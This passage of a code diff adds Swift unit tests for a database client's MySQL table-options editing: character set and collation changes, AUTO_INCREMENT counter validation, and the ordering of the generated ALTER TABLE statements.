+            tableOptions: TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", autoIncrement: 500)
+        )
+        staged(manager) { $0.autoIncrement = 6 }
+        #expect(manager.tableOptions.isAutoIncrementConfirmed)
+        #expect(manager.pendingChanges[.autoIncrement] == .modifyAutoIncrement(old: 500, new: 6))
+    }
+
+    @Test("A save that wrote only the character set leaves the counter confirmed")
+    func characterSetSaveKeepsTheCounterConfirmed() throws {
+        let manager = makeManager()
+        staged(manager, Self.toUTF8)
+        let hold = try #require(manager.holdForSave())
+
+        #expect(manager.releaseHold(hold, written: true))
+
+        #expect(manager.tableOptions.isAutoIncrementConfirmed)
+    }
+
+    @Test("The counter is held to the AUTO_INCREMENT column's type")
+    func counterOutOfRangeIsRefused() {
+        let manager = makeManager(idType: "TINYINT")
+        #expect(manager.autoIncrementRange == 1...127)
+
+        staged(manager) { $0.autoIncrement = 1_000 }
+
+        #expect(manager.validationErrors[.autoIncrement] != nil)
+        #expect(!manager.canCommit)
+    }
+
+    @Test("A counter over the old type's maximum is valid once the same save widens the column")
+    func counterFollowsTheDraftType() {
+        let manager = makeManager(idType: "TINYINT")
+        staged(manager) { $0.autoIncrement = 1_000 }
+
+        edit(manager, column: 0) { $0.dataType = "INT" }
+
+        #expect(manager.validationErrors[.autoIncrement] == nil)
+        #expect(manager.canCommit)
+    }
+
+    @Test("A counter with no AUTO_INCREMENT column left is refused")
+    func counterWithoutColumnIsRefused() {
+        let manager = makeManager()
+        staged(manager) { $0.autoIncrement = 50 }
+
+        edit(manager, column: 0) { $0.autoIncrement = false }
+
+        #expect(manager.autoIncrementColumn == nil)
+        #expect(manager.validationErrors[.autoIncrement] != nil)
+    }
+
+    @Test("Turning AUTO_INCREMENT on in the save makes room for a counter on a table that had none")
+    func counterOnANewlyAutoIncrementedColumn() {
+        let manager = makeManager(
+            options: TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci"), autoIncrement: false
+        )
+        edit(manager, column: 0) { $0.autoIncrement = true }
+
+        staged(manager) { $0.autoIncrement = 500 }
+
+        #expect(manager.pendingChanges[.autoIncrement] == .modifyAutoIncrement(old: nil, new: 500))
+        #expect(manager.canCommit)
+    }
+
+    private static let convertRefusal = "Save column and primary key changes before converting existing columns."
+
+    private static func convertToUTF8(_ options: inout TableOptions) {
+        toUTF8(&options)
+        options.convertsColumns = true
+    }
+
+    @Test("A convert cannot share a save with a column change, staged in either order")
+    func convertRefusesAColumnChange() {
+        let manager = makeManager()
+        staged(manager, Self.convertToUTF8)
+        edit(manager, column: 1) { $0.comment = "Display name" }
+
+        #expect(manager.validationErrors[.tableCharacterSet] == Self.convertRefusal)
+        #expect(!manager.canCommit)
+
+        manager.undo()
+        #expect(manager.validationErrors[.tableCharacterSet] == nil)
+        #expect(manager.canCommit)
+
+        let columnFirst = makeManager()
+        edit(columnFirst, column: 1) { $0.dataType = "TEXT" }
+        staged(columnFirst, Self.convertToUTF8)
+        #expect(columnFirst.validationErrors[.tableCharacterSet] == Self.convertRefusal)
+    }
+
+    @Test("A convert cannot share a save with a primary key change")
+    func convertRefusesAPrimaryKeyChange() {
+        let manager = makeManager()
+        staged(manager, Self.convertToUTF8)
+
+        edit(manager, column: 1) { $0.isPrimaryKey = true }
+
+        #expect(manager.validationErrors[.tableCharacterSet] == Self.convertRefusal)
+        #expect(!manager.canCommit)
+    }
+
+    @Test("A convert can share a save with column drops and additions, and a new default with column changes")
+    func convertAllowsDropsAndAdditions() {
+        let manager = makeManager()
+        staged(manager, Self.convertToUTF8)
+        manager.deleteColumn(id: manager.workingColumns[1].id)
+        var note = EditableColumnDefinition.placeholder()
+        note.name = "note"
+        note.dataType = "VARCHAR(64)"
+        manager.addColumn(note)
+
+        #expect(manager.validationErrors.isEmpty)
+        #expect(manager.canCommit)
+
+        let defaultOnly = makeManager()
+        staged(defaultOnly, Self.toUTF8)
+        edit(defaultOnly, column: 1) { $0.comment = "Display name" }
+
+        #expect(defaultOnly.validationErrors.isEmpty)
+        #expect(defaultOnly.canCommit)
+    }
+
+    @Test("The Options sub-tab has no rows to mark")
+    func optionsTabHasNoRowState() {
+        let manager = makeManager()
+        manager.deleteColumn(id: manager.workingColumns[1].id)
+
+        let state = manager.deleteInsertState(for: 1, tab: .options)
+        #expect(!state.isDeleted)
+        #expect(!state.isInserted)
+        manager.undoDelete(for: .options, at: 1)
+        #expect(manager.hasChanges)
+    }
+}
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift
new file mode 100644
index 0000000000..c5937e68a0
--- /dev/null
+++ b/apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift
@@ -0,0 +1,175 @@
+//
+//  StructureEditingSessionTableOptionsTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct StructureEditingSessionTableOptionsTests {
+    private static let latin = TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", autoIncrement: 4)
+
+    private static let catalog = TableOptionsCatalog(
+        characterSets: [TableCharacterSet(
+            name: "utf8mb4", defaultCollation: "utf8mb4_0900_ai_ci", collations: ["utf8mb4_0900_ai_ci"], description: nil
+        )],
+        engines: ["InnoDB"],
+        defaultEngine: "InnoDB"
+    )
+
+    private func makeSession() -> StructureEditingSession {
+        StructureEditingSession(
+            identity: "shop.t",
+            connection: TestFixtures.makeConnection(database: "shop", type: .mysql),
+            databaseName: "shop",
+            schemaName: nil,
+            tableName: "t"
+        )
+    }
+
+    @Test("A refresh that fails keeps the options it was refreshing")
+    func failedRefreshKeepsTheOptions() {
+        let session = makeSession()
+        session.beginTableOptionsLoad()
+        #expect(session.tableOptions == .loading)
+
+        session.settleTableOptions(.fetched(Self.latin))
+        session.beginTableOptionsLoad()
+        session.settleTableOptions(.failed("timed out"))
+
+        #expect(session.loadedTableOptions == Self.latin)
+        #expect(session.autoIncrementRead == .confirmed)
+    }
+
+    @Test("A first read that fails shows the failure and leaves nothing to stage against")
+    func failedFirstReadHasNoBaseline() {
+        let session = makeSession()
+        session.beginTableOptionsLoad()
+        session.settleTableOptions(.failed("Access denied"))
+
+        session.adoptLoadedBaseline()
+
+        #expect(session.tableOptions == .failed("Access denied"))
+        #expect(session.changeManager.tableOptions.original == nil)
+    }
+
+    @Test("The loaded options are the change manager's baseline")
+    func loadedOptionsBecomeTheBaseline() {
+        let session = makeSession()
+        session.settleTableOptions(.fetched(Self.latin))
+
+        session.adoptLoadedBaseline()
+
+        #expect(session.changeManager.tableOptions.original == Self.latin)
+    }
+
+    @Test("A written character set is adopted, and a written counter waits for the re-read")
+    func writtenOptionsAdoptCharacterSetOnly() {
+        let session = makeSession()
+        session.settleTableOptions(.fetched(Self.latin))
+
+        session.adoptWrittenTableOptions(from: [
+            .modifyTableCharacterSet(
+                old: TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci"),
+                new: TableOptions(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", convertsColumns: true)
+            ),
+            .modifyAutoIncrement(old: 4, new: 2)
+        ])
+
+        #expect(session.loadedTableOptions == TableOptions(
+            characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", autoIncrement: 4
+        ))
+        #expect(session.autoIncrementRead == .rereading)
+
+        session.beginTableOptionsLoad()
+        session.settleTableOptions(.fetched(TableOptions(
+            characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", autoIncrement: 9
+        )))
+
+        #expect(session.autoIncrementRead == .confirmed)
+        #expect(session.loadedTableOptions?.autoIncrement == 9)
+    }
+
+    @Test("A re-read that fails leaves the counter unconfirmed, and nothing stages against the old value")
+    func failedRereadLeavesTheCounterUnconfirmed() {
+        let session = makeSession()
+        session.settleTableOptions(.fetched(Self.latin))
+        session.adoptLoadedBaseline()
+        session.adoptWrittenTableOptions(from: [.modifyAutoIncrement(old: 4, new: 500)])
+
+        session.beginTableOptionsLoad()
+        session.settleTableOptions(.failed("timed out"))
+        session.adoptLoadedBaseline()
+
+        #expect(session.autoIncrementRead == .unconfirmed)
+        #expect(session.loadedTableOptions == Self.latin)
+        let manager = session.changeManager
+        #expect(!manager.tableOptions.isAutoIncrementConfirmed)
+
+        var typed = Self.latin
+        typed.autoIncrement = 6
+        manager.stageTableOptions(typed)
+        #expect(!manager.hasChanges)
+
+        var utf8 = Self.latin
+        utf8.characterSet = "utf8mb4"
+        utf8.collation = "utf8mb4_0900_ai_ci"
+        manager.stageTableOptions(utf8)
+        #expect(manager.pendingChanges[.tableCharacterSet] != nil)
+        #expect(manager.pendingChanges[.autoIncrement] == nil)
+    }
+
+    @Test("A cancelled re-read leaves the counter unconfirmed until a retry lands")
+    func cancelledRereadWaitsForARetry() {
+        let session = makeSession()
+        session.settleTableOptions(.fetched(Self.latin))
+        session.adoptWrittenTableOptions(from: [.modifyAutoIncrement(old: 4, new: 500)])
+
+        session.settleTableOptions(.cancelled)
+        #expect(session.autoIncrementRead == .unconfirmed)
+
+        session.beginTableOptionsLoad()
+        #expect(session.autoIncrementRead == .rereading)
+        #expect(session.loadedTableOptions == Self.latin)
+
+        var saved = Self.latin
+        saved.autoIncrement = 500
+        session.settleTableOptions(.fetched(saved))
+        session.adoptLoadedBaseline()
+
+        #expect(session.autoIncrementRead == .confirmed)
+        let manager = session.changeManager
+        #expect(manager.tableOptions.isAutoIncrementConfirmed)
+        #expect(manager.tableOptions.original?.autoIncrement == 500)
+
+        saved.autoIncrement = 600
+        manager.stageTableOptions(saved)
+        #expect(manager.pendingChanges[.autoIncrement] == .modifyAutoIncrement(old: 500, new: 600))
+    }
+
+    @Test("A catalog read that is cancelled caches nothing, and a failed refresh keeps the catalog")
+    func catalogLoadStates() {
+        let session = makeSession()
+        session.beginTableOptionsCatalogLoad()
+        session.settleTableOptionsCatalog(.cancelled)
+        #expect(session.tableOptionsCatalog == .idle)
+
+        session.beginTableOptionsCatalogLoad()
+        session.settleTableOptionsCatalog(.fetched(Self.catalog))
+        session.beginTableOptionsCatalogLoad()
+        session.settleTableOptionsCatalog(.failed("timed out"))
+
+        #expect(session.tableOptionsCatalog == .loaded(Self.catalog))
+    }
+
+    @Test("The Options sub-tab shows no grid")
+    func optionsTabHasNoGrid() {
+        let session = makeSession()
+        session.selectedTab = .options
+
+        #expect(session.activeGridModel == nil)
+    }
+}
diff --git a/apple/TableProTests/Core/SchemaTracking/TableOptionsStatementTests.swift b/apple/TableProTests/Core/SchemaTracking/TableOptionsStatementTests.swift
new file mode 100644
index 0000000000..52b687a623
--- /dev/null
+++ b/apple/TableProTests/Core/SchemaTracking/TableOptionsStatementTests.swift
@@ -0,0 +1,263 @@
+//
+//  TableOptionsStatementTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+private final class TableOptionsDDLDriver: PluginDriverStub, @unchecked Sendable {
+    private let writesOptions: Bool
+    private(set) var optionChanges: [PluginTableOptionsChange] = []
+
+    init(writesOptions: Bool = true) {
+        self.writesOptions = writesOptions
+    }
+
+    func tableOptionsStatement(table: String, schema: String?, change: PluginTableOptionsChange) -> String? {
+        optionChanges.append(change)
+        guard writesOptions else { return nil }
+        if let counter = change.autoIncrement {
+            return "ALTER TABLE \(table) AUTO_INCREMENT = \(counter)"
+        }
+        let names = "\(change.characterSet ?? "-") COLLATE \(change.collation ?? "-")"
+        return change.convertsColumns
+            ? "ALTER TABLE \(table) CONVERT TO CHARACTER SET \(names)"
+            : "ALTER TABLE \(table) DEFAULT CHARACTER SET \(names)"
+    }
+
+    func generateModifyColumnSQL(
+        table: String,
+        oldColumn: PluginColumnDefinition,
+        newColumn: PluginColumnDefinition
+    ) -> String? {
+        var definition = "\(newColumn.name) \(newColumn.dataType)"
+        if newColumn.autoIncrement { definition += " AUTO_INCREMENT" }
+        return "ALTER TABLE \(table) MODIFY COLUMN \(definition)"
+    }
+
+    func generateAddColumnSQL(table: String, column: PluginColumnDefinition) -> String? {
+        "ALTER TABLE \(table) ADD COLUMN \(column.name)"
+    }
+
+    func generateDropColumnSQL(table: String, columnName: String) -> String? {
+        "ALTER TABLE \(table) DROP COLUMN \(columnName)"
+    }
+
+    func generateDropIndexSQL(table: String, indexName: String) -> String? {
+        "ALTER TABLE \(table) DROP INDEX \(indexName)"
+    }
+
+    func generateAddIndexSQL(table: String, index: PluginIndexDefinition) -> String? {
+        "ALTER TABLE \(table) ADD INDEX \(index.name)"
+    }
+
+    func generateModifyIndexSQL(table: String, oldIndexName: String, newIndex: PluginIndexDefinition) -> String? {
+        "ALTER TABLE \(table) DROP INDEX \(oldIndexName), ADD INDEX \(newIndex.name)"
+    }
+
+    func generateDropForeignKeySQL(table: String, constraintName: String) -> String? {
+        "ALTER TABLE \(table) DROP FOREIGN KEY \(constraintName)"
+    }
+
+    func generateAddForeignKeySQL(table: String, fk: PluginForeignKeyDefinition) -> String? {
+        "ALTER TABLE \(table) ADD CONSTRAINT \(fk.name)"
+    }
+
+    func ping() async throws {}
+}
+
+struct TableOptionsStatementTests {
+    private static let latin = TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci")
+    private static let utf8 = TableOptions(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci")
+    private static let convertToUTF8 = TableOptions(
+        characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", convertsColumns: true
+    )
+
+    private func column(
+        _ name: String,
+        type: String = "VARCHAR(32)",
+        charset: String? = "latin1",
+        collation: String? = "latin1_swedish_ci"
+    ) -> EditableColumnDefinition {
+        var column = EditableColumnDefinition.placeholder()
+        column.name = name
+        column.dataType = type
+        column.setCharacterSet(charset, collation: collation)
+        return column
+    }
+
+    private func index(_ name: String) -> EditableIndexDefinition {
+        var index = EditableIndexDefinition.placeholder()
+        index.name = name
+        index.columns = ["code"]
+        return index
+    }
+
+    private func foreignKey(_ name: String) -> EditableForeignKeyDefinition {
+        var foreignKey = EditableForeignKeyDefinition.placeholder()
+        foreignKey.name = name
+        foreignKey.columns = ["code"]
+        foreignKey.referencedTable = "parent"
+        foreignKey.referencedColumns = ["code"]
+        return foreignKey
+    }
+
+    private func generate(_ changes: [SchemaChange], driver: TableOptionsDDLDriver = TableOptionsDDLDriver()) throws -> [String] {
+        try SchemaStatementGenerator(tableName: "t", pluginDriver: driver).generate(changes: changes).map(\.sql)
+    }
+
+    @Test("A convert runs after a foreign key it would trip on is dropped, staged in any order")
+    func convertRunsAfterForeignKeyDrop() throws {
+        let sql = try generate([
+            .modifyTableCharacterSet(old: Self.latin, new: Self.convertToUTF8),
+            .deleteForeignKey(foreignKey("fk_code"))
+        ])
+
+        #expect(sql == [
+            "ALTER TABLE t DROP FOREIGN KEY fk_code;",
+            "ALTER TABLE t CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;"
+        ])
+    }
+
+    @Test("A convert runs after an index drop and a column drop, and before column additions")
+    func convertSitsBetweenDropsAndAdditions() throws {
+        let sql = try generate([
+            .addColumn(column("note")),
+            .modifyTableCharacterSet(old: Self.latin, new: Self.convertToUTF8),
+            .deleteColumn(column("legacy")),
+            .deleteIndex(index("ix_code"))
+        ])
+
+        #expect(sql == [
+            "ALTER TABLE t DROP INDEX ix_code;",
+            "ALTER TABLE t DROP COLUMN legacy;",
+            "ALTER TABLE t CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;",
+            "ALTER TABLE t ADD COLUMN note;"
+        ])
+    }
+
+    @Test("A convert splits an index replacement around itself, so the drop runs first")
+    func convertSplitsAnIndexReplacement() throws {
+        let sql = try generate([
+            .modifyTableCharacterSet(old: Self.latin, new: Self.convertToUTF8),
+            .modifyIndex(old: index("ix_code"), new: index("ix_code"))
+        ])
+
+        #expect(sql == [
+            "ALTER TABLE t DROP INDEX ix_code;",
+            "ALTER TABLE t CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;",
+            "ALTER TABLE t ADD INDEX ix_code;"
+        ])
+    }
+
+    @Test("A new default runs before the columns added under it")
+    func defaultRunsBeforeAddedColumns() throws {
+        let sql = try generate([
+            .addColumn(column("note", charset: nil, collation: nil)),
+            .modifyTableCharacterSet(old: Self.latin, new: Self.utf8)
+        ])
+
+        #expect(sql == [
+            "ALTER TABLE t DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;",
+            "ALTER TABLE t ADD COLUMN note;"
+        ])
+    }
+
+    @Test("The counter runs after the MODIFY that turns AUTO_INCREMENT on, as its own statement")
+    func counterRunsAfterAutoIncrementTurnsOn() throws {
+        let plain = column("id", type: "INT", charset: nil, collation: nil)
+        var counted = plain
+        counted.autoIncrement = true
+        let driver = TableOptionsDDLDriver()
+
+        let sql = try generate([
+            .modifyAutoIncrement(old: nil, new: 500),
+            .modifyColumn(old: plain, new: counted)
+        ], driver: driver)
+
+        #expect(sql == [
+            "ALTER TABLE t MODIFY COLUMN id INT AUTO_INCREMENT;",
+            "ALTER TABLE t AUTO_INCREMENT = 500;"
+        ])
+        #expect(driver.optionChanges == [PluginTableOptionsChange(autoIncrement: 500)])
+    }
+
+    @Test("A character set change and a counter are two statements, the counter after the column work")
+    func characterSetAndCounterAreSeparate() throws {
+        let driver = TableOptionsDDLDriver()
+        let sql = try generate([
+            .modifyAutoIncrement(old: 4, new: 900),
+            .modifyTableCharacterSet(old: Self.latin, new: Self.utf8),
+            .addColumn(column("note"))
+        ], driver: driver)
+
+        #expect(sql == [
+            "ALTER TABLE t DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;",
+            "ALTER TABLE t ADD COLUMN note;",
+            "ALTER TABLE t AUTO_INCREMENT = 900;"
+        ])
+        #expect(driver.optionChanges == [
+            PluginTableOptionsChange(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci"),
+            PluginTableOptionsChange(autoIncrement: 900)
+        ])
+    }
+
+    @Test("A convert is destructive and a new default or a counter is not")
+    func onlyAConvertIsDestructive() throws {
+        let statements = try SchemaStatementGenerator(tableName: "t", pluginDriver: TableOptionsDDLDriver())
+            .generate(changes: [
+                .modifyTableCharacterSet(old: Self.latin, new: Self.convertToUTF8),
+                .modifyAutoIncrement(old: 4, new: 9)
+            ])
+        let defaultOnly = try SchemaStatementGenerator(tableName: "t", pluginDriver: TableOptionsDDLDriver())
+            .generate(changes: [.modifyTableCharacterSet(old: Self.latin, new: Self.utf8)])
+
+        #expect(statements.map(\.isDestructive) == [true, false])
+        #expect(defaultOnly.map(\.isDestructive) == [false])
+        #expect(SchemaChange.modifyTableCharacterSet(old: Self.latin, new: Self.convertToUTF8).isDestructive)
+        #expect(!SchemaChange.modifyTableCharacterSet(old: Self.latin, new: Self.utf8).isDestructive)
+        #expect(!SchemaChange.modifyAutoIncrement(old: 4, new: 9).isDestructive)
+    }
+
+    @Test("A driver with no table options statement refuses the save as unsupported")
+    func driverWithoutStatementThrows() {
+        #expect(throws: (any Error).self) {
+            _ = try generate(
+                [.modifyAutoIncrement(old: 4, new: 9)], driver: TableOptionsDDLDriver(writesOptions: false)
+            )
+        }
+    }
+
+    @Test("Table options carry no operation for the driver's save-level review")
+    func tableOptionsHaveNoOperation() {
+        let generator = SchemaStatementGenerator(tableName: "t", pluginDriver: TableOptionsDDLDriver())
+        #expect(generator.orderedOperations(for: [
+            .modifyTableCharacterSet(old: Self.latin, new: Self.utf8),
+            .modifyAutoIncrement(old: nil, new: 2)
+        ]).isEmpty)
+    }
+
+    @Test("Compare sync puts a convert after column drops and the counter after the primary key")
+    func syncOrdering() {
+        let sorted = SchemaChangeOrdering.sorted([
+            .modifyAutoIncrement(old: 4, new: 9),
+            .addIndex(index("ix_code")),
+            .modifyPrimaryKey(old: ["id"], new: ["id", "code"]),
+            .modifyColumn(old: column("code"), new: column("code", type: "TEXT")),
+            .modifyTableCharacterSet(old: Self.latin, new: Self.convertToUTF8),
+            .deleteColumn(column("legacy"))
+        ])
+
+        #expect(sorted.map(\.description) == [
+            "Delete column 'legacy'",
+            "Convert table to utf8mb4 utf8mb4_0900_ai_ci",
+            "Modify column 'code' to 'code'",
+            "Change primary key from [id] to [id, code]",
+            "Set AUTO_INCREMENT of table to 9",
+            "Add index 'ix_code'"
+        ])
+    }
+}
diff --git a/apple/TableProTests/Helpers/PluginStructureFixtures.swift b/apple/TableProTests/Helpers/PluginStructureFixtures.swift
index 5071cc2d1a..77d23808b4 100644
--- a/apple/TableProTests/Helpers/PluginStructureFixtures.swift
+++ b/apple/TableProTests/Helpers/PluginStructureFixtures.swift
@@ -63,7 +63,8 @@ enum PluginStructureFixtures {
             ddlDefault: "ddlDefault-\(suffix)",
             ddlGenerationExpression: "ddlGenerationExpression-\(suffix)",
             ddlCollation: "ddlCollation-\(suffix)",
-            classificationTypeName: "classificationTypeName-\(suffix)"
+            classificationTypeName: "classificationTypeName-\(suffix)",
+            columnCheck: "columnCheck-\(suffix)"
         )
     }
 
diff --git a/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift b/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift
index f007f93331..dbabf4b9b5 100644
--- a/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift
+++ b/apple/TableProTests/Models/Schema/CreateTableDraftBuilderTests.swift
@@ -329,4 +329,105 @@ struct CreateTableDraftBuilderTests {
     func blankCommentIsNil(comment: String) {
         #expect(plan(comment: comment).tableComment == nil)
     }
+
+    // MARK: - Table options against the target database's defaults
+
+    private static let shopDefaults = CreateTableOptionDefaults(
+        characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", engine: "InnoDB"
+    )
+
+    private func plan(
+        options: CreateTableOptions,
+        defaults: CreateTableOptionDefaults = CreateTableDraftBuilderTests.shopDefaults,
+        includesEngineOptions: Bool = true
+    ) throws -> PluginCreateTableDefinition {
+        try #require(CreateTableDraftBuilder.plan(
+            tableName: "child",
+            options: options,
+            columns: [column("id")],
+            indexes: [],
+            foreignKeys: [],
+            dialect: ForeignKeyDialect.forType(.mysql),
+            includesEngineOptions: includesEngineOptions,
+            defaults: defaults
+        ).definition)
+    }
+
+    // A fresh draft used to write `DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci`, which broke FKs and joins
+    // against every table that took the database's own default.
+    @Test("A fresh draft names no character set, collation or engine")
+    func freshDraftWritesNoOptions() throws {
+        let definition = try plan(options: CreateTableOptions())
+        #expect(definition.charset == nil)
+        #expect(definition.collation == nil)
+        #expect(definition.engine == nil)
+    }
+
+    @Test("Options equal to the database's defaults write no clause")
+    func defaultsWriteNothing() throws {
+        let seeded = CreateTableOptions().seeded(with: Self.shopDefaults)
+        #expect(seeded.charset == "utf8mb4")
+        let definition = try plan(options: seeded)
+        #expect(definition.charset == nil)
+        #expect(definition.collation == nil)
+        #expect(definition.engine == nil)
+    }
+
+    @Test("Another character set writes the pair")
+    func otherCharacterSetWritesThePair() throws {
+        let options = CreateTableOptions().selectingCharacterSet("latin1", collation: "latin1_swedish_ci")
+        let definition = try plan(options: options)
+        #expect(definition.charset == "latin1")
+        #expect(definition.collation == "latin1_swedish_ci")
+    }
+
+    @Test("Another collation of the default set still writes both clauses")
+    func otherCollationWritesThePair() throws {
+        let options = CreateTableOptions().selectingCharacterSet("utf8mb4", collation: "utf8mb4_bin")
+        let definition = try plan(options: options)
+        #expect(definition.charset == "utf8mb4")
+        #expect(definition.collation == "utf8mb4_bin")
+    }
+
+    @Test("The comparison ignores case, as the server does")
+    func comparisonIgnoresCase() throws {
+        let options = CreateTableOptions().selectingCharacterSet("UTF8MB4", collation: "UTF8MB4_0900_AI_CI")
+        #expect(try plan(options: options).charset == nil)
+    }
+
+    @Test("Only an engine other than the server's default is written")
+    func engineOnlyWhenItDiffers() throws {
+        var options = CreateTableOptions().seeded(with: Self.shopDefaults)
+        #expect(try plan(options: options).engine == nil)
+        options.engine = "MyISAM"
+        #expect(try plan(options: options).engine == "MyISAM")
+    }
+
+    @Test("Without the database's defaults every pick is written")
+    func unknownDefaultsWriteThePick() throws {
+        let options = CreateTableOptions().selectingCharacterSet("utf8mb4", collation: "utf8mb4_0900_ai_ci")
+        let definition = try plan(options: options, defaults: CreateTableOptionDefaults())
+        #expect(definition.charset == "utf8mb4")
+        #expect(definition.collation == "utf8mb4_0900_ai_ci")
+    }
+
+    @Test("A driver without a catalog gets no table options, whatever the draft holds")
+    func noCatalogWritesNothing() throws {
+        var options = CreateTableOptions().selectingCharacterSet("latin1", collation: "latin1_bin")
+        options.engine = "MyISAM"
+        let definition = try plan(options: options, includesEngineOptions: false)
+        #expect(definition.charset == nil)
+        #expect(definition.collation == nil)
+        #expect(definition.engine == nil)
+    }
+
+    @Test("Seeding keeps what the user already picked")
+    func seedingKeepsPicks() {
+        var options = CreateTableOptions().selectingCharacterSet("latin1", collation: "latin1_bin")
+        options.engine = "MyISAM"
+        let seeded = options.seeded(with: Self.shopDefaults)
+        #expect(seeded.charset == "latin1")
+        #expect(seeded.collation == "latin1_bin")
+        #expect(seeded.engine == "MyISAM")
+    }
 }
diff --git a/apple/TableProTests/Models/Schema/SchemaChangeTests.swift b/apple/TableProTests/Models/Schema/SchemaChangeTests.swift
index 6e97fa17ee..f5238aca96 100644
--- a/apple/TableProTests/Models/Schema/SchemaChangeTests.swift
+++ b/apple/TableProTests/Models/Schema/SchemaChangeTests.swift
@@ -165,6 +165,22 @@ struct SchemaChangeTests {
         #expect(change.requiresDataMigration == true)
     }
 
+    @Test("A new character set converts the stored text, so the save asks first; a collation alone does not")
+    func requiresDataMigrationCharacterSetChange() {
+        var old = makeColumn(name: "note", dataType: "VARCHAR(100)")
+        old.setCharacterSet("utf8mb4", collation: "utf8mb4_bin")
+        var latin = old
+        latin.setCharacterSet("latin1", collation: "latin1_swedish_ci")
+        var tableDefault = old
+        tableDefault.setCharacterSet(nil, collation: nil)
+        var recased = old
+        recased.setCharacterSet("UTF8MB4", collation: "utf8mb4_general_ci")
+
+        #expect(SchemaChange.modifyColumn(old: old, new: latin).requiresDataMigration)
+        #expect(SchemaChange.modifyColumn(old: old, new: tableDefault).requiresDataMigration)
+        #expect(!SchemaChange.modifyColumn(old: old, new: recased).requiresDataMigration)
+    }
+
     @Test("requiresDataMigration returns true for deleteColumn")
     func requiresDataMigrationDeleteColumn() {
         let change = SchemaChange.deleteColumn(makeColumn(name: "test", dataType: "INT"))
diff --git a/apple/TableProTests/Models/Schema/TableOptionsTests.swift b/apple/TableProTests/Models/Schema/TableOptionsTests.swift
new file mode 100644
index 0000000000..97e8549b9b
--- /dev/null
+++ b/apple/TableProTests/Models/Schema/TableOptionsTests.swift
@@ -0,0 +1,216 @@
+//
+//  TableOptionsTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct TableOptionsTests {
+    private static let catalog = TableOptionsCatalog(
+        characterSets: [
+            TableCharacterSet(
+                name: "latin1", defaultCollation: "latin1_swedish_ci",
+                collations: ["latin1_bin", "latin1_swedish_ci"], description: nil
+            ),
+            TableCharacterSet(
+                name: "utf8mb4", defaultCollation: "utf8mb4_0900_ai_ci",
+                collations: ["utf8mb4_0900_ai_ci", "utf8mb4_bin", "utf8mb4_unicode_ci"], description: nil
+            )
+        ],
+        engines: ["InnoDB"],
+        defaultEngine: "InnoDB"
+    )
+
+    private func latinName() -> EditableColumnDefinition {
+        var column = EditableColumnDefinition.placeholder()
+        column.name = "name"
+        column.dataType = "VARCHAR(32)"
+        column.setCharacterSet("latin1", collation: "latin1_swedish_ci")
+        return column
+    }
+
+    @Test(
+        "Character and text types take a character set, whatever the spelling",
+        arguments: [
+            "VARCHAR(32)", "varchar (64)", "CHAR(10)", "character(10)", "character varying(64)", "char varying(8)",
+            "TINYTEXT", "TEXT", "MEDIUMTEXT", "LONGTEXT", "LONG VARCHAR", "ENUM('a','b')", "ENUM ('a')",
+            "SET('x','y')", "TEXT BINARY", "VARCHAR(10) BINARY"
+        ]
+    )
+    func textTypesTakeACharacterSet(_ dataType: String) {
+        #expect(ColumnTextType.takesCharacterSet(dataType))
+    }
+
+    @Test(
+        "National, binary, JSON, numeric and temporal types take none",
+        arguments: [
+            "NCHAR(10)", "NVARCHAR(10)", "NATIONAL VARCHAR(10)", "NATIONAL CHARACTER VARYING(10)", "BINARY(16)",
+            "VARBINARY(32)", "BLOB", "LONGBLOB", "LONG VARBINARY", "CHAR BYTE", "JSON", "INT", "BIGINT UNSIGNED",
+            "DECIMAL(10,2)", "DATETIME(6)", "TIMESTAMP", ""
+        ]
+    )
+    func otherTypesTakeNone(_ dataType: String) {
+        #expect(!ColumnTextType.takesCharacterSet(dataType))
+    }
+
+    @Test("The counter's range follows the integer type and its sign")
+    func autoIncrementMaximumFollowsTheType() {
+        #expect(AutoIncrementRange.maximum(forColumnType: "TINYINT") == 127)
+        #expect(AutoIncrementRange.maximum(forColumnType: "TINYINT UNSIGNED") == 255)
+        #expect(AutoIncrementRange.maximum(forColumnType: "smallint(6)") == 32_767)
+        #expect(AutoIncrementRange.maximum(forColumnType: "MEDIUMINT UNSIGNED") == 16_777_215)
+        #expect(AutoIncrementRange.maximum(forColumnType: "INT(11)") == 2_147_483_647)
+        #expect(AutoIncrementRange.maximum(forColumnType: "int unsigned") == 4_294_967_295)
+        #expect(AutoIncrementRange.maximum(forColumnType: "BIGINT") == 9_223_372_036_854_775_807)
+        #expect(AutoIncrementRange.maximum(forColumnType: "BIGINT UNSIGNED") == UInt64.max)
+        #expect(AutoIncrementRange.maximum(forColumnType: "SERIAL") == UInt64.max)
